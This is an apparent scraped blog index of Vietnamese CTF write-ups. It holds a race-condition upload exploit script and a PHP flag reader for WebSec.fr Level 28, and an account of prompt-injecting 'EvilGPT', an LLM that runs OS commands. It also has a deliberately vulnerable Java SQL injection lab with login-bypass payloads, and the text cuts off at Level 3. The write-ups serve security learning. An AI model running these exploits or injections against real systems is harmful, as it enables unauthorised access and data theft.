as_completed(futures_upload): res = f.result() total_requests += 1 # Cập nhật số lượng request đã gửi print(f\u0026#34;Upload result: {res}\u0026#34;) # Kiểm tra kết quả từ futures_read for f in as_completed(futures_read): res = f.result() if isinstance(res, str) and \u0026#34;cyber\u0026#34; in res: print(f\u0026#34;[+] Found the flag at attempt {total_requests}\u0026#34;) print(f\u0026#34;Found flag: {res}\u0026#34;) return res # Dừng lại khi tìm thấy flag print(f\u0026#34;Attempt {total_requests}/{max_requests} - No flag found yet.\u0026#34;) print(f\u0026#34;Finished {max_requests} requests without finding the flag.\u0026#34;) return None if __name__ == \u0026#34;__main__\u0026#34;: loop_until_flag(10000) # Chạy cho đến khi gửi hết 10,000 requests hoặc tìm thấy flag Thành công lấy được flag.\n","permalink":"https://blog.pzhat.id.vn/posts/2025-09-17-seccon-safeupload-web-challenge/","summary":"\u003ch1 id=\"cybercon-2025-safeupload-web-challenge\"\u003eCyberCon 2025 SafeUpload Web Challenge\u003c/h1\u003e\n\u003ch3 id=\"tổng-quan-challenge\"\u003eTổng quan challenge\u003c/h3\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"https://hackmd.io/_uploads/Hkm8uTIjll.png\"\u003e\u003c/p\u003e\n\u003cp\u003eMở challenge lên thì ta thấy nó cấp cho ta một giao diện dùng để upload file nên nghi ngờ ban đầu sẽ là web này dính lỗ hổng file upload.\u003c/p\u003e\n\u003cp\u003eTiến hành thử upload lên file php với nội dung:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-php\" data-lang=\"php\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e\u0026lt;?\u003c/span\u003e\u003cspan class=\"nx\"\u003ephp\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eecho\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;test\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e?\u0026gt;\u003c/span\u003e\u003cspan class=\"err\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"https://hackmd.io/_uploads/B1guFaUsxx.png\"\u003e\u003c/p\u003e\n\u003cp\u003eCó vẻ như đã dính filter của bài có thể thấy nó đã xoá đi file mình upload lên, bây giờ ta thử upload 1 file php nhưng không có nội dung.\u003c/p\u003e","title":"CyberCon 2025 SafeUpload Web Challenge"},{"content":"WebSec.fr Level 28 CTF challenge Tổng quan: \u0026lt;?php if(isset($_POST[\u0026#39;submit\u0026#39;])) { if ($_FILES[\u0026#39;flag_file\u0026#39;][\u0026#39;size\u0026#39;] \u0026gt; 4096) { die(\u0026#39;Your file is too heavy.\u0026#39;); } $filename = \u0026#39;./tmp/\u0026#39; . md5($_SERVER[\u0026#39;REMOTE_ADDR\u0026#39;]) . \u0026#39;.php\u0026#39;; $fp = fopen($_FILES[\u0026#39;flag_file\u0026#39;][\u0026#39;tmp_name\u0026#39;], \u0026#39;r\u0026#39;); $flagfilecontent = fread($fp, filesize($_FILES[\u0026#39;flag_file\u0026#39;][\u0026#39;tmp_name\u0026#39;])); @fclose($fp); file_put_contents($filename, $flagfilecontent); if (md5_file($filename) === md5_file(\u0026#39;flag.php\u0026#39;) \u0026amp;\u0026amp; $_POST[\u0026#39;checksum\u0026#39;] == crc32($_POST[\u0026#39;checksum\u0026#39;])) { include($filename); // it contains the `$flag` variable } else { $flag = \u0026#34;Nope, $filename is not the right file, sorry.\u0026#34;; sleep(1); // Deter bruteforce } unlink($filename); } ?\u0026gt; Đoạn mã này là một trang web đơn giản cho phép người dùng tải lên một tệp và nhập một giá trị checksum. Mục tiêu là tải lên một tệp tin sao cho hai điều kiện sau được thỏa mãn:\nmd5_file($filename) === md5_file('flag.php')\nPOST['checksum'] == crc32($_POST['checksum'])\nNếu cả hai điều kiện này đều đúng, tệp tin được tải lên sẽ được include, và vì tệp tin đó có thể chứa mã độc, chúng ta có thể thực thi nó để lấy flag.\nTiến hành khai thác Ở đây ta sẽ thử sử dụng chức năng với 1 file php với nội dung:\n// show_flag.php \u0026lt;?php // Read the contents of the \u0026#34;flag.php\u0026#34; file $flag_content = file_get_contents(\u0026#34;/flag.php\u0026#34;); // Display the contents of the file echo $flag_content; ?\u0026gt; Để xem thử nó có ra flag hay không.\nKết quả trả về cho ta chỉ nhận được dòng Nope, ./tmp/06e2d538fba99ca2b2456260bc9e08f5.php is not the right file, sorry. Ở đoạn /tmp/06e2d538fba99ca2b2456260bc9e08f5.php liệu ta có thể khai thác gì thêm từ thông tin này không?\nTrong code có đoạn:\n$filename = \u0026#39;./tmp/\u0026#39; . md5($_SERVER[\u0026#39;REMOTE_ADDR\u0026#39;]) . \u0026#39;.php\u0026#39;; Ở đây giá trị $filename sau khi upload lên sẽ được đưa vào thư mục tạm là /tmp sau đó là đi với public ip của máy mình và rồi là đuôi file php, vậy nên có thể nhận thấy đây là file cố định với ip của mình và cho dù mình upload bất kì file nào lên thì nó sẽ đều đi vào /tmp/06e2d538fba99ca2b2456260bc9e08f5.php trước.\nNgoài ra trong source còn có đoạn:\nelse { $flag = \u0026#34;Nope, $filename is not the right file, sorry.\u0026#34;; sleep(1); // Deter bruteforce } unlink($filename); } Có nghĩa là khi đẩy lên tmp nếu file sau khi check không trùng với md5 và crc32 checksum thì nó sẽ có 1 khoảng thời gian là 1 giây trước khi nó xoá đi file đó và với 1s thì đó là khoảng thời gian khá dài.\nBây giờ có 2 hướng đi đó là bypass được md5 và crc32 check và hướng race condition lợi dụng 1 giây đó. Với hướng đi đầu thì có vẻ bất khả thi vì ta sẽ khó để có thể biết được md5 của flag được giấu là gì cùng với đó là rất khó để tìm được số x sao cho x == crc32(str(x)) vì :\n- crc32 trả ra giá trị 32-bit (từ 0 đến 2³²−1 ≈ 4.29 tỉ). - Nếu coi hàm f(x) = crc32(str(x)) như một ánh xạ trên không gian 2³² phần tử, thì xác suất bất kỳ x cụ thể thỏa f(x)=x vào khoảng 1/2³². - Nghĩa là trung bình bạn cần thử ~2³² lần (khoảng 4.29 tỉ) mới mong tìm được một nghiệm — không khả thi bằng dò ngẫu nhiên trên 1 máy. Vậy nên ta sẽ dùng trick là so sánh crc32 với chuỗi rỗng:\n- crc32(\u0026#39;\u0026#39;) trả về integer 0. - \u0026#39;\u0026#39; (chuỗi rỗng) khi ép kiểu sang số cũng trở thành 0. - PHP dùng so sánh lỏng == sẽ ép kiểu nếu cần, vậy \u0026#39;\u0026#39; == crc32(\u0026#39;\u0026#39;) tức là \u0026#39;\u0026#39; == 0 → true. - Nhưng \u0026#39;\u0026#39; === crc32(\u0026#39;\u0026#39;) (so sánh kiểu chặt ===) sẽ false vì kiểu khác (string vs int). - Vì vậy gửi checksum là chuỗi rỗng (checksum=) sẽ thỏa điều kiện $_POST[\u0026#39;checksum\u0026#39;] == crc32($_POST[\u0026#39;checksum\u0026#39;]) Vậy nên bây giờ ta chỉ có cách là lợi dụng trong khoảng thời gian 1 giây đó thực hiện request POST file php lên và thực hiện GET luôn giá trị của flag trong đó.\nBây giờ sử dụng script để khai thác:\n# followup_attack.py import threading, requests, time, random POST_URL = \u0026#39;https://websec.fr/level28/index.php\u0026#39; # replace md5ip with your IP-hash (or compute from your remote IP) TMP_URL = \u0026#39;https://websec.fr/level28/tmp/06e2d538fba99ca2b2456260bc9e08f5.php\u0026#39; FILE_PATH = \u0026#39;show_flag.php\u0026#39; NUM_UPLOADERS = 6 # start small (increase slowly if server tolerates) NUM_READERS = 3 SLEEP_UPLOAD = 0.06 # tune small, don\u0026#39;t saturate SLEEP_READ = 0.02 USER_AGENTS = [ \u0026#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64)\u0026#34;, \u0026#34;curl/7.79.1\u0026#34;, \u0026#34;python-requests/2.x\u0026#34; ] def uploader(i): s = requests.Session() s.headers.update({\u0026#39;User-Agent\u0026#39;: random.choice(USER_AGENTS)}) data = {\u0026#39;checksum\u0026#39;: \u0026#39;\u0026#39;, \u0026#39;submit\u0026#39;: \u0026#39;Upload and check\u0026#39;} # empty checksum bypass while True: try: # open fresh every request with open(FILE_PATH, \u0026#39;rb\u0026#39;) as fh: files = {\u0026#39;flag_file\u0026#39;: (FILE_PATH, fh, \u0026#39;application/octet-stream\u0026#39;)} r = s.post(POST_URL, files=files, data=data, timeout=8) # optionally log low-volume feedback if r.status_code != 200: print(f\u0026#34;[U{i}] status {r.status_code}\u0026#34;) except Exception as e: print(f\u0026#34;[U{i}] upload err: {e}\u0026#34;) time.sleep(SLEEP_UPLOAD + random.random()*0.02) def reader(i, stop_event): s = requests.Session() s.headers.update({\u0026#39;User-Agent\u0026#39;: random.choice(USER_AGENTS)}) while not stop_event.is_set(): try: r = s.get(TMP_URL, timeout=6) if r.status_code == 200: txt = r.text # quick check for flag pattern if \u0026#39;FLAG{\u0026#39; in txt or \u0026#39;WEBSEC{\u0026#39; in txt: print(f\u0026#34;[R{i}] !!! FLAG FOUND !!!\\n{txt}\u0026#34;) stop_event.set() return # debug: when file is not PHP anymore (indicates something changed) if \u0026#34;\u0026lt;?php\u0026#34; not in txt: print(f\u0026#34;[R{i}] changed content (snippet): {repr(txt[:200])}\u0026#34;) else: # minor backoff on non-200 to avoid making things worse time.sleep(0.05) except Exception as e: print(f\u0026#34;[R{i}] read err: {e}\u0026#34;) time.sleep(SLEEP_READ + random.random()*0.005) if __name__ == \u0026#34;__main__\u0026#34;: stop_event = threading.Event() threads = [] for i in range(NUM_UPLOADERS): t = threading.Thread(target=uploader, args=(i,), daemon=True) t.start() threads.append(t) for i in range(NUM_READERS): t = threading.Thread(target=reader, args=(i, stop_event), daemon=True) t.start() threads.append(t) try: while not stop_event.is_set(): time.sleep(0.5) except KeyboardInterrupt: print(\u0026#34;Stopped by user\u0026#34;) File php với mục đích hiển thị nội dung file flag được giấu ở bên trong hệ thống.\n// show_flag.php \u0026lt;?php // Read the contents of the \u0026#34;flag.php\u0026#34; file $flag_content = file_get_contents(\u0026#34;/flag.php\u0026#34;); // Display the contents of the file echo $flag_content; ?\u0026gt; Thành công lấy được nội dung flag ở bên trong bằng cách POST và GET nhanh trong vòng 1 giây.\n","permalink":"https://blog.pzhat.id.vn/posts/2025-09-16-websec.fr-level28/","summary":"\u003ch1 id=\"websecfr-level-28-ctf-challenge\"\u003eWebSec.fr Level 28 CTF challenge\u003c/h1\u003e\n\u003ch3 id=\"tổng-quan\"\u003eTổng quan:\u003c/h3\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"https://hackmd.io/_uploads/Syc1KLLjxl.png\"\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-php\" data-lang=\"php\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e\u0026lt;?\u003c/span\u003e\u003cspan class=\"nx\"\u003ephp\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eisset\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$_POST\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;submit\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e]))\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$_FILES\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;flag_file\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e][\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;size\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"mi\"\u003e4096\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003edie\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;Your file is too heavy.\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"nv\"\u003e$filename\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;./tmp/\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e.\u003c/span\u003e \u003cspan class=\"nx\"\u003emd5\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$_SERVER\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;REMOTE_ADDR\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e])\u003c/span\u003e \u003cspan class=\"o\"\u003e.\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;.php\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"nv\"\u003e$fp\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003efopen\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$_FILES\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;flag_file\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e][\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;tmp_name\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e],\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;r\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"nv\"\u003e$flagfilecontent\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003efread\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$fp\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003efilesize\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$_FILES\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;flag_file\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e][\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;tmp_name\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e]));\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"o\"\u003e@\u003c/span\u003e\u003cspan class=\"nx\"\u003efclose\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$fp\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nx\"\u003efile_put_contents\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$filename\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nv\"\u003e$flagfilecontent\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003emd5_file\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$filename\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e===\u003c/span\u003e \u003cspan class=\"nx\"\u003emd5_file\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;flag.php\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"nv\"\u003e$_POST\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;checksum\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"nx\"\u003ecrc32\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$_POST\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;checksum\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e]))\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003einclude\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$filename\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e  \u003cspan class=\"c1\"\u003e// it contains the `$flag` variable\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e    \u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nv\"\u003e$flag\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;Nope, \u003c/span\u003e\u003cspan class=\"si\"\u003e$filename\u003c/span\u003e\u003cspan class=\"s2\"\u003e is not the right file, sorry.\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nx\"\u003esleep\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e  \u003cspan class=\"c1\"\u003e// Deter bruteforce\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e    \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"nx\"\u003eunlink\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$filename\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e?\u0026gt;\u003c/span\u003e\u003cspan class=\"err\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eĐoạn mã này là một trang web đơn giản cho phép người dùng tải lên một tệp và nhập một giá trị checksum. Mục tiêu là tải lên một tệp tin sao cho hai điều kiện sau được thỏa mãn:\u003c/p\u003e","title":"WebSec.fr Level 28 CTF challenge"},{"content":"Tryhackme EvilGPT challenge WriteUp by @phatmh Dùng netcat để tiến hành kết nối với chall và tiến hành LLM Inject để có thể moi được flag từ con AI. Sau khi test thử thì đây không phải con AI bình thường như tôi nghĩ mà nó là một con AI thực thi các câu lệnh OS vậy bây giờ tiến hành thử moi ra các thứ có trong server. Tiến hành đọc thử source code của con AI xem nó có những cái gì.\nTóm tắt chức năng Tập tin Python evilai.py là một server Telnet đơn giản. Khi người dùng kết nối, nó:\nNhận yêu cầu từ người dùng bằng ngôn ngữ tự nhiên.\nDùng AI model (ollama) để chuyển đổi yêu cầu đó thành lệnh Linux.\nHỏi người dùng có muốn thực thi không.\nNếu đồng ý, thực thi lệnh bằng subprocess.run() và gửi kết quả về.\nPhân tích chức năng chính AICommandExecutorServer class\ninit(): Khởi tạo server trên host, port, và chỉ định mô hình Ollama.\nsanitize_input(): Làm sạch lệnh khỏi các ký tự nguy hiểm, tuy nhiên còn khá sơ sài và dễ bypass.\ngenerate_command():\nGửi user_request (ngôn ngữ tự nhiên) đến mô hình ollama để lấy lệnh shell.\nChỉ yêu cầu mô hình trả về lệnh, không giải thích.\nexecute_command(): Thực thi lệnh đã sinh ra với:\nsubprocess.run(cmd_parts, capture_output=True, timeout=30)\nTrả lại stdout, stderr, returncode\nhandle_client():\nGửi prompt → nhận input → gửi lệnh sinh ra → hỏi xác nhận → thực thi → gửi kết quả.\nstart_server(): Lắng nghe và tạo thread xử lý mỗi client.\nSau khi check thì có vẻ như ta hoàn toàn có thể bypass được con AI này vì nó cũng không có santilize một chút nào ở câu lệnh nên tôi sẽ thử hỏi thông tin về root folder. Sau khi truyền vào tôi tìm thấy một file có lẽ là file flag nằm ở thư mục root. Bây giờ tiến hành hỏi nó làm sao để nó show flag ra cho mình đọc được. Sau một lúc hỏi thì đã hỏi ra được và thành công lấy được flag.\n","permalink":"https://blog.pzhat.id.vn/posts/2025-09-09-thm-evilgpt/","summary":"\u003ch1 id=\"tryhackme-evilgpt-challenge-writeup-by-phatmh\"\u003eTryhackme EvilGPT challenge WriteUp by @phatmh\u003c/h1\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"https://hackmd.io/_uploads/SJs0f-gLgl.png\"\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"https://hackmd.io/_uploads/BJbzEWeIle.png\"\u003e\nDùng netcat để tiến hành kết nối với chall và tiến hành LLM Inject để có thể moi được flag từ con AI.\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"https://hackmd.io/_uploads/By7uHZgLxl.png\"\u003e\nSau khi test thử thì đây không phải con AI bình thường như tôi nghĩ mà nó là một con AI thực thi các câu lệnh OS vậy bây giờ tiến hành thử moi ra các thứ có trong server.\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"https://hackmd.io/_uploads/SkQHvWeUxg.png\"\u003e\nTiến hành đọc thử source code của con AI xem nó có những cái gì.\u003c/p\u003e","title":"Tryhackme EvilGPT challenge WriteUp by @phatmh"},{"content":"Java Servlet Sql Injection Vulnerability by @Phatmh Tổng quan cấu trúc file java +---.idea +---dataSources +---.mvn +---wrapper +---src +---main +---java +---sql_injection +---controller +---dao +---model +---util +---resources +---META-INF +---webapp +---WEB-INF +---test +---java +---resources +---target +---classes +---META-INF +---sql_injection +---controller +---dao +---model +---util +---generated-sources +---annotations +---Sql_Injection-1.0-SNAPSHOT +---META-INF +---WEB-INF +---classes +---META-INF +---sql_injection +---controller +---dao +---model +---util Cấu trúc của project được viết bằng mô hình MVC với UserDAO là nơi xử lý logic chính. Tại đây mình tạo ra 11 level tương ứng với các độ khó khác nhau. Ở đây basic sẽ là 1-5 và 6-11 sẽ là hard. Source Code (Github) Github\nTiến hành phân tích cách level và POC Level 1 SQL Injection Level 1 public User loginLevel1(String username, String password) throws Exception { String query = \u0026#34;SELECT username, password FROM users WHERE username=\u0026#39;\u0026#34; + username + \u0026#34;\u0026#39; AND password=MD5(\u0026#39;\u0026#34; + password + \u0026#34;\u0026#39;)\u0026#34;; System.out.println(\u0026#34;DEBUG SQL Level 1: \u0026#34; + query); try (Connection conn = DBConnection.getConnection(); Statement stmt = conn.createStatement(); ResultSet rs = stmt.executeQuery(query)) { if (rs.next()) return new User(rs.getString(1), rs.getString(2)); } return null; } Hàm loginLevel1 nhận vào username và password, sau đó kiểm tra xem có người dùng nào trùng khớp không bằng cách truy vấn CSDL. Nếu đúng, trả về User object chứa username và password. Nếu không, trả về null. String query = \u0026#34;SELECT username, password FROM users WHERE username=\u0026#39;\u0026#34; + username + \u0026#34;\u0026#39; AND password=MD5(\u0026#39;\u0026#34; + password + \u0026#34;\u0026#39;)\u0026#34;; Biến username và password được nối trực tiếp vào chuỗi truy vấn SQL mà không qua kiểm tra hay escape, gây ra lỗ hổng SQLi. Hàm MD5(\u0026lsquo;password\u0026rsquo;) là để so sánh mật khẩu đã mã hóa MD5. Nhưng attacker hoàn toàn có thể bypass với đoạn SQL payload logic. Ở đây ta sử dụng payload là username=\u0026lsquo;OR 1=1 \u0026ndash; và password là cái gì cũng được vì nó sẽ luôn trả về True vì mình xài boolean luôn true mà vì thế nó sẽ trả về hết bảng ở đây mình đã để khi bypass nó sẽ đăng nhập vào cái user đầu tiên trên bảng.\nKhi thực hiện truy vấn SQL, điều kiện WHERE luôn đúng → Đăng nhập thành công với tài khoản đầu tiên trong bảng users.\nThành công bypass qua Level 1 bằng cách dùng ' để bypass qua logic cộng chuỗi.\nLevel 2 SQL Injection Level 2 Đến với LV2 thì bây giờ developer đã sử dụng thêm một số biện pháp bảo vệ nhưng vẫn có thể dễ dàng bypass qua vì ở đây dev chỉ bảo vệ bằng cách sử dụng dấu \u0026quot; để bọc lại câu SQL.\npublic User loginLevel2(String username, String password) throws Exception { String query = \u0026#34;SELECT username, password FROM users WHERE username=\\\u0026#34;\u0026#34; + username + \u0026#34;\\\u0026#34; AND password=MD5(\\\u0026#34;\u0026#34; + password + \u0026#34;\\\u0026#34;)\u0026#34;; System.out.println(\u0026#34;DEBUG SQL Level 2: \u0026#34; + query); try (Connection conn = DBConnection.getConnection(); Statement stmt = conn.createStatement(); ResultSet rs = stmt.executeQuery(query)) { if (rs.next()) return new User(rs.getString(1), rs.getString(2)); } return null; } Hàm loginLevel2 vẫn là hàm xác thực người dùng bằng username và password, so sánh với password mã hóa MD5 trong CSDL. Cách thức hoạt động hoàn toàn giống với loginLevel1, nhưng cú pháp chuỗi trong SQL đã thay đổi từ \u0026lsquo;single quotes\u0026rsquo; thành \u0026ldquo;double quotes\u0026rdquo;\nTiến hành test thử câu payload của lv1 vào lv2 để xem nó có bypass được không.\nTrả về fail chứng tỏ đã dính lỗi ở phần payload vì ở đây dấu ' đã không còn được dùng thay vào đó dấu \u0026quot; đã được dùng để bọc câu SQL. Vậy nên để có thể bypass được lv2 ta sẽ dùng dấu \u0026quot; để escape ra khỏi chuỗi để tạo nên một chuỗi SQL hoàn chỉnh.\nỞ đây mình sử dụng payload \u0026quot; OR 1=1 -- - với password là 1 hoặc cái gì cũng được hết lúc này câu truy vấn sẽ thành SELECT username, password FROM users WHERE username=\u0026quot;\u0026quot; OR 1=1 -- \u0026quot; AND password=MD5(\u0026quot;1\u0026quot;) Với phần password đã bị comment lại.\nThành công login vào user admin.\nLevel 3 SQL Injection Level 3 public User loginLevel3(String username, String password) throws Exception { String query = \u0026#34;SELECT username, password FROM users WHERE 